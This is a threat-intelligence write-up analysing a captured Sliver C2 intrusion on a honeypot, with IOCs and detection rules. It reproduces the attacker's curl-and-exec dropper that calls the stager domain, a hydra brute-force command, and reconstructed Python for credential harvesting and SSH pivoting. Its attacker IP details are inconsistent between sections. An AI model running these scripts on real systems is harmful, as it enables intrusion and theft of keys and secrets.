Honeypot Analysis: Sliver C2 via Cloudflare Tunnel

Threat Intel Reverse Engineering Go Analysis Active Threat

Published: August 2026 | Reading time: ~25 min | Author: 22nd Survey Division
TL;DR: Our Linux VPS honeypot captured an intrusion deploying a 33MB Go-based Sliver C2 implant. Attack used a French-named 140KB loader ("safesunflower_FRESH2.elf"), bulletproof VPS infrastructure in Australia (185.93.89.79), Cloudflare tunnels for C2 egress, and Garble obfuscation. This writeup covers binary analysis, string extraction, control flow recovery, and detection engineering.
⚡ Watch the Full Attack (2 minutes)
What you're about to see: A real attack captured on our honeypot. The attacker compromised a student lab VM, stole SSH keys, pivoted to our VPS, and deployed professional-grade malware - all in under 48 hours. No special exploits. Just a weak password and stolen credentials.
What each stage shows:
1. Attacker bruteforces a lab VM with weak password
2. Reads bash history to find SSH commands to other servers
3. Steals SSH private keys from the compromised VM
4. Uses stolen keys to SSH into our VPS from their server
5. Adds their own SSH key for persistent access
6. Installs a systemd service that auto-starts malware
7. Malware phones home to attacker's hidden server
Click play to watch the attack unfold
⚠ hydra
$ hydra -l azureuser ssh://10.0.0.4
[22] password: LabPass2026!
▶

Full Compromise in 7 Steps

Why this matters: No zero-days. No advanced exploits. Just a weak password on a lab VM that had SSH keys to a production server. One compromised machine led to another. This is how most real breaches happen - not Hollywood hacking, just credential theft and lateral movement.

Table of Contents

1. Executive Summary

In August 2026, our honeypot infrastructure captured an intrusion deploying Sliver C2 malware. The attack used a French-named loader staged from bulletproof VPS infrastructure in Australia - whether this indicates a French-speaking operator or is misdirection is unclear. Key observations:

2. Kill Chain

PhaseDateActivityMITRE ATT&CK
ReconnaissanceAug 1Domain registration: safesunflower.fansT1583.001
Initial AccessAug 3SSH credential compromiseT1078 T1021.004
ExecutionAug 3Bash dropper fetches implantT1059.004
PersistenceAug 3Systemd service installedT1543.002
Defense EvasionAug 3Garble obfuscation, hidden filesT1027 T1564
C2Aug 3+HTTPS via Cloudflare tunnelT1071.001 T1572
Credential AccessAug 3+SSH key enumerationT1552.004
🎯 Interactive: The Premeditation
This wasn't opportunistic. Watch how the attacker prepared 48 hours before striking.
Click to start timeline
whois safesunflower.fans
Created: Aug 1, 2026
Registrar: Tucows via Cloudflare
▶

48 Hours of Planning

The Lesson: Domain registration dates reveal intent. A domain registered days before an attack = premeditated operation, not opportunistic scanning. This is a professional.

3. Architecture Deep Dive

3.1 High-Level Overview

🏗️ Interactive: Attack Infrastructure
Watch how the attacker's infrastructure connects piece by piece. Each component serves a purpose.
Click to see infrastructure build
Infrastructure Map
[ATTACKER] → [???] → [???] → [VICTIM]
▶

Full Attack Chain

The Lesson: Cloudflare tunnels hide the real C2 server IP. You can't block by IP - you have to block the domain. The attacker trades anonymity for dependence on Cloudflare's infrastructure.

3.2 Data Flow

📡 Interactive: C2 Beacon Cycle
Every 30 seconds (± random jitter), the implant phones home. Watch one complete cycle with real protocol details.
Click to watch beacon cycle
.worker
Sleeping... 27s until next beacon
▶

Cycle Complete

The Lesson: The jitter (±20%) makes beacon detection harder. Instead of seeing connections exactly every 30s, you see 24s, 33s, 28s... Detection requires behavioral analysis, not simple timing rules.

4. Dropper Analysis

4.1 Original Dropper Script

nginx-rotate (dropper script)
#!/bin/bash
# ^^^ Shebang: tells Linux to execute with bash

# Télécharger si pas là
# ^^^ FRENCH: "Download if not there" - reveals attacker's language

IMPLANT_URL="https://stager.safesunflower.fans/implant"
# ^^^ Stager URL: where the full implant binary is hosted
#     Uses subdomain for flexibility (can change IP without changing implant)

IMPLANT_PATH="/var/lib/nginx-logs/.worker"
# ^^^ Hidden location:
#     /var/lib/nginx-logs/ - looks like legitimate nginx directory
#     .worker - dot prefix hides from `ls` (need `ls -a`)

if [ ! -f "$IMPLANT_PATH" ]; then
# ^^^ Only download if not already present
#     Prevents re-downloading on every service restart
#     Also reduces network noise

    curl -s --connect-timeout 15 -o "$IMPLANT_PATH" "$IMPLANT_URL"
#   ^^^ curl flags:
#       -s              : silent (no progress bar)
#       --connect-timeout 15 : fail after 15s (don't hang forever)
#       -o PATH         : output to file

    chmod +x "$IMPLANT_PATH"
#   ^^^ Make executable
fi

exec "$IMPLANT_PATH"
# ^^^ exec REPLACES the current process with .worker
#     This means:
#     - The bash script's PID becomes .worker's PID
#     - systemd sees one consistent process
#     - Cleaner process tree

4.2 Why This Design?

🔧 Interactive: The Dropper
A 6-line bash script that downloads and executes a 33MB implant. Simple, effective, decades-old technique.
Click to watch dropper execute
nginx-rotate
# Télécharger si pas là
if [ ! -f "$IMPLANT_PATH" ]; then
▶

6 Lines. Full Compromise.

The Lesson: "Télécharger si pas là" = "Download if not there" (French). Attackers leave fingerprints. This dropper technique is older than most CS students, yet still works because it's simple: curl + chmod + exec. No exploits needed when you have credentials.

5. Go Binary Internals

5.1 Why Go?

Go is popular for implants because:

5.2 Binary Properties

PropertyValueSignificance
Size33,648,788 bytesTypical for statically-linked Go
TypeELF 64-bit LSBLinux executable
LinkingStaticNo external .so dependencies
StrippedYesNo debug symbols
ObfuscationGarbleFunction names mangled
Go Version1.21+ (estimated)Based on runtime strings

5.3 Garble Obfuscation

Garble is a Go build wrapper that:

Normal Go binary (strings output)
main.handleShellCommand
main.beaconLoop
main.harvestCredentials
github.com/BishopFox/sliver/...
Garbled binary (strings output)
z1kM9x.qR7nLp
z1kM9x.vF3hYw
z1kM9x.pK8mNr
# Function names are unreadable
# But protocol strings often remain (harder to obfuscate without breaking)

5.4 Surviving Strings

Despite obfuscation, we extracted these identifying strings:

strings .worker | grep -E "Beacon|Session|Pivot|SSH|Socks"
BeaconID
SessionID
PivotHello
PivotListener
WGSocksStartReq
WGTCPForwarders
SSHCommandReq
CredentialsInfo
ExecuteAssembly

These match the Sliver C2 framework exactly, confirming identification.

6. Cloudflare Tunnel C2

6.1 What is Cloudflare Tunnel?

Cloudflare Tunnel (formerly Argo Tunnel) allows you to expose a local service to the internet through Cloudflare's network without opening inbound ports.

☁️ Interactive: Cloudflare Tunnel - Legit vs Malicious
The same technology powers legitimate websites AND hides C2 servers. Watch how both work.
Click to compare legitimate vs malicious use
cloudflared
$ cloudflared tunnel --url localhost:8080
Tunnel ready
▶

Key Insight

The Problem: Cloudflare can't distinguish legitimate from malicious tunnels. Blocking their IP ranges would break millions of websites. Defenders must rely on domain reputation and behavioral analysis.

6.2 Setting Up (Attacker Perspective)

On attacker's C2 server
# Install cloudflared
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64

# Create tunnel (anonymous, no Cloudflare account needed)
./cloudflared-linux-amd64 tunnel --url http://localhost:8080

# Output:
# Your quick tunnel: https://random-words-here.trycloudflare.com
# ^^^ This is what goes in the implant

# Or with custom domain (requires Cloudflare account):
./cloudflared tunnel create my-c2
./cloudflared tunnel route dns my-c2 safesunflower.fans
./cloudflared tunnel run my-c2

6.3 Why It's Hard to Detect

6.4 Detection Strategies

7. C2 Protocol Reverse Engineering

7.1 Message Format

Sliver uses Protocol Buffers (protobuf) for message serialization:

📦 Interactive: Message Wire Format
Every C2 message follows the same structure. Watch a shell command being encoded step by step.
Click to see message encoding
protobuf
[4 bytes] [protobuf payload...]
▶

Wire Format Summary

Why This Matters: Understanding the wire format lets you write detection rules. The 4-byte length prefix and protobuf structure are signatures you can look for in network traffic.

7.2 Message Types

TypeNameDirectionPurpose
1BEACON_REGISTERImplant → C2Initial check-in with system info
3POLL_INTERVAL_REQImplant → C2"Any commands for me?"
10SHELL_REQC2 → ImplantExecute shell command
11SHELL_RESPImplant → C2Return command output
30SSH_COMMAND_REQC2 → ImplantSSH to another host
60SOCKS_START_REQC2 → ImplantStart SOCKS proxy
90CREDS_REQC2 → ImplantHarvest credentials
99TERMINATEC2 → ImplantKill implant

8. Persistence Mechanisms

8.1 Systemd Service

/etc/systemd/system/nginx-logrotate.service
[Unit]
# Unit section: metadata and dependencies

Description=Nginx Log Rotation Helper
# ^^^ Innocent-sounding name
#     Admin sees this in `systemctl status`
#     Looks like part of nginx (it's not)

After=network.target
# ^^^ Wait for network before starting
#     Implant needs network to beacon

[Service]
# Service section: how to run

Type=simple
# ^^^ ExecStart process IS the service
#     (vs forking where parent exits)

ExecStart=/var/lib/nginx-logs/.worker
# ^^^ THE IMPLANT
#     Hidden path: /var/lib/nginx-logs/
#     Hidden file: .worker (dot prefix)

Restart=always
# ^^^ If it crashes or is killed, restart it
#     Makes implant resilient

RestartSec=30
# ^^^ Wait 30s before restart
#     Avoids restart loops if failing repeatedly

[Install]
# Install section: when to start

WantedBy=multi-user.target
# ^^^ Start in normal multi-user mode
#     = start on every boot

8.2 Persistence Flow

🔒 Interactive: The Persistence
Watch how a single systemd service file guarantees the attacker survives reboots, crashes, and even getting killed.
Click to see persistence installed
/etc/systemd/system/
$ ls -la *.service
nginx-logrotate.service ← innocent name
▶

Restart=always

The Lesson: Systemd is your friend AND your enemy. A service with "Restart=always" will survive: process kill (respawns in 30s), system reboot (WantedBy=multi-user.target), and even logrotate. The name "nginx-logrotate" blends in perfectly. Check your systemd services regularly: systemctl list-units --type=service

9. Evasion & Anti-Forensics

Live VNC session on authorized infrastructure - demonstrating how attackers persist undetected while EDR looks the other way.

9.1 File System Evasion

TechniqueImplementationEffect
Hidden directory/var/lib/nginx-logs/Looks like nginx, admins skip it
Hidden file.workerDot prefix hides from ls
Mimicrynginx-logrotate service nameAppears legitimate
No logsImplant doesn't write local logsNo disk forensic trail

9.2 Network Evasion

TechniqueImplementationEffect
CDN frontingCloudflare tunnelHides real C2 IP
Valid SSLCloudflare certificatePasses SSL inspection
HTTPS onlyNo plain HTTPEncrypted traffic
Jitter30s ± 20% beaconIrregular timing
Blend inStandard User-AgentLooks like browser

9.3 What They Could Have Done Better

10. Code Walkthrough

We've reconstructed the core implant logic in Python for educational purposes. Here's how each component works:

10.1 Beacon Loop

beacon.py - Core implant logic
import time
import random
from urllib.request import Request, urlopen

class Beacon:
    """
    The heartbeat of the implant.
    Polls C2 for commands, executes them, returns results.
    """

    def __init__(self, c2_url, interval=30, jitter=0.2):
        self.c2_url = c2_url      # Where to phone home
        self.interval = interval   # Base sleep time (seconds)
        self.jitter = jitter       # Randomization factor (0.2 = ±20%)
        self.session_id = None    # Assigned by C2 on registration

    def run(self):
        """Main loop - runs forever until terminated"""

        # Step 1: Register with C2
        while not self.session_id:
            self.session_id = self.register()
            if not self.session_id:
                time.sleep(self.interval)  # Retry on failure

        # Step 2: Poll loop
        while True:
            try:
                # Check for commands
                cmd = self.poll()

                # Execute if we got one
                if cmd:
                    result = self.execute(cmd)
                    self.send_result(result)

                # Sleep with jitter
                # jitter_amount = interval * jitter * random(-1 to 1)
                # So 30s ± 6s = 24-36 seconds
                jitter_amount = self.interval * self.jitter * (random.random() * 2 - 1)
                time.sleep(self.interval + jitter_amount)

            except Exception:
                # Silently fail and retry
                # Don't crash on network errors
                time.sleep(self.interval)

10.2 Credential Harvesting

creds.py - How they find SSH keys
import os

def harvest_credentials():
    """
    Scan the system for valuable credentials.
    This is what ran on our honeypot.
    """
    creds = []

    # === SSH KEYS ===
    # The primary target for lateral movement
    ssh_dir = os.path.expanduser("~/.ssh")  # /root/.ssh for root

    if os.path.exists(ssh_dir):
        for filename in os.listdir(ssh_dir):
            # Look for private keys (id_rsa, id_ed25519, etc)
            # NOT .pub files (those are public, useless for auth)
            if filename.startswith("id_") and not filename.endswith(".pub"):
                key_path = os.path.join(ssh_dir, filename)

                # Read the key content
                with open(key_path, 'r') as f:
                    key_data = f.read()

                creds.append({
                    "type": "ssh_key",
                    "path": key_path,
                    "data": key_data  # The actual private key!
                })

    # === AUTHORIZED_KEYS ===
    # Shows what OTHER systems trust this one
    auth_keys = os.path.expanduser("~/.ssh/authorized_keys")
    if os.path.exists(auth_keys):
        with open(auth_keys, 'r') as f:
            for line in f:
                if line.strip():
                    creds.append({
                        "type": "authorized_key",
                        "key": line.strip()
                    })

    # === ENVIRONMENT VARIABLES ===
    # Often contain API keys, tokens, passwords
    sensitive_patterns = ["KEY", "TOKEN", "SECRET", "PASSWORD", "AWS"]
    for key, value in os.environ.items():
        if any(pattern in key.upper() for pattern in sensitive_patterns):
            creds.append({
                "type": "env_var",
                "key": key,
                "value": value[:100]  # Truncate long values
            })

    return creds

10.3 SSH Pivoting

pivot.py - How they would jump to other machines
import subprocess

def ssh_execute(host, user, key_path, command):
    """
    Execute a command on a remote host via SSH.
    Uses stolen keys from harvest_credentials().

    This is how an attacker pivots:
    1. Compromise VPS
    2. Find SSH keys
    3. Use those keys to reach internal servers
    """

    ssh_command = [
        "ssh",
        "-i", key_path,                     # Use this private key
        "-o", "StrictHostKeyChecking=no",   # Don't ask about fingerprint
        "-o", "BatchMode=yes",               # Non-interactive
        "-o", "ConnectTimeout=10",           # Fail fast if can't connect
        f"{user}@{host}",                   # e.g., [email protected]
        command                              # What to run
    ]

    try:
        result = subprocess.run(
            ssh_command,
            capture_output=True,
            timeout=60
        )
        return {
            "success": result.returncode == 0,
            "stdout": result.stdout.decode(),
            "stderr": result.stderr.decode()
        }
    except subprocess.TimeoutExpired:
        return {"success": False, "error": "timeout"}
    except Exception as e:
        return {"success": False, "error": str(e)}

# Example: Attacker uses stolen key to reach another server
# ssh_execute("192.168.1.10", "admin", "/tmp/stolen_key", "cat /etc/shadow")
🔑 Interactive: The Harvest
Once inside, the implant silently enumerates every SSH key, every .env file, every secret. This is why one compromised machine leads to many.
Click to watch credential harvest
CREDS_REQ
Scanning ~/.ssh/
Found: id_ed25519
▶

5 Keys. 12 Secrets. 3 Pivot Targets.

The Lesson: Your ~/.ssh folder is a goldmine. Every key there is a door somewhere else. The attacker doesn't need to crack passwords - they just find keys and walk through. SSH certificates with short expiry beat static keys. And NEVER store production keys on dev machines.

11. Indicators of Compromise

11.1 Network IOCs

# Domains
safesunflower.fans
stager.safesunflower.fans

# Known IPs (attacker infrastructure)
103.141.60.96 (HostRoyale Sydney - SSH origin)

# Network behavior
- HTTPS beacons every 24-36 seconds to Cloudflare-fronted domain
- POST requests to /beacon endpoint
- Content-Type: application/octet-stream

11.2 Host IOCs

# File paths
/var/lib/nginx-logs/.worker
/var/lib/nginx-logs/nginx-rotate
/etc/systemd/system/nginx-logrotate.service

# File hashes
SHA256: [Available to vetted researchers on request]

# Systemd indicators
Service name: nginx-logrotate
ExecStart pointing to hidden file (.* prefix)

11.3 Behavioral IOCs

# Process behavior
- Large (30MB+) process running from /var/lib/
- Process name doesn't match any installed package
- Outbound HTTPS connections from server processes

# File system
- New files in /etc/systemd/system/ not from packages
- Hidden files in /var/lib/ subdirectories
- Modified ~/.ssh/authorized_keys

12. Detection & Defense

12.1 Detection Rules

YARA rule for Sliver implants
rule Sliver_Implant_Strings {
    meta:
        description = "Detects Sliver C2 implant based on protocol strings"
        author = "22nd Survey Division"
        date = "2026-08"

    strings:
        $s1 = "BeaconID" ascii
        $s2 = "SessionID" ascii
        $s3 = "PivotHello" ascii
        $s4 = "WGSocksStartReq" ascii
        $s5 = "SSHCommandReq" ascii
        $s6 = "CredentialsInfo" ascii
        $s7 = "ExecuteAssembly" ascii

    condition:
        uint32(0) == 0x464C457F  // ELF magic
        and filesize > 20MB
        and 4 of ($s*)
}
Sigma rule for systemd persistence
title: Suspicious Systemd Service Creation
status: experimental
description: Detects creation of systemd services with hidden executables
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - COMMAND|contains: 'systemctl enable'
        - COMMAND|contains: 'systemctl daemon-reload'
    filter:
        USER: 'root'
    condition: selection

    # Also check service files
    service_file_check:
        - ExecStart|contains: '/.'  # Hidden files
        - ExecStart|contains: '/var/lib/'  # Unusual location
        - Description|contains|any:
            - 'helper'
            - 'rotate'
            - 'cache'

12.2 Hardening Recommendations

12.3 Incident Response

Quick containment commands
# 1. Stop the implant
systemctl stop nginx-logrotate
systemctl disable nginx-logrotate

# 2. Remove persistence
rm /etc/systemd/system/nginx-logrotate.service
systemctl daemon-reload

# 3. Kill any running process
pkill -9 -f ".worker"

# 4. Remove implant files
rm -rf /var/lib/nginx-logs/

# 5. Check and clean authorized_keys
cat ~/.ssh/authorized_keys  # Review each key
# Remove any you don't recognize

# 6. Rotate credentials
# - Generate new SSH keys
# - Rotate any API keys/tokens
# - Change database passwords

# 7. Check for lateral movement
# - Review other systems these keys had access to
# - Check those systems for similar indicators

Conclusion

This intrusion demonstrates the increasing sophistication of commodity C2 frameworks. The combination of Sliver's capabilities with Cloudflare tunnel infrastructure creates a formidable defensive challenge. Key takeaways:

Full Materials Available: The complete implant binary, Python PoC, and additional IOCs are available to vetted security researchers. Contact via the methods on our homepage.

© 2026 22nd Survey Division. Research conducted on infrastructure we own and operate. All analysis is for defensive purposes.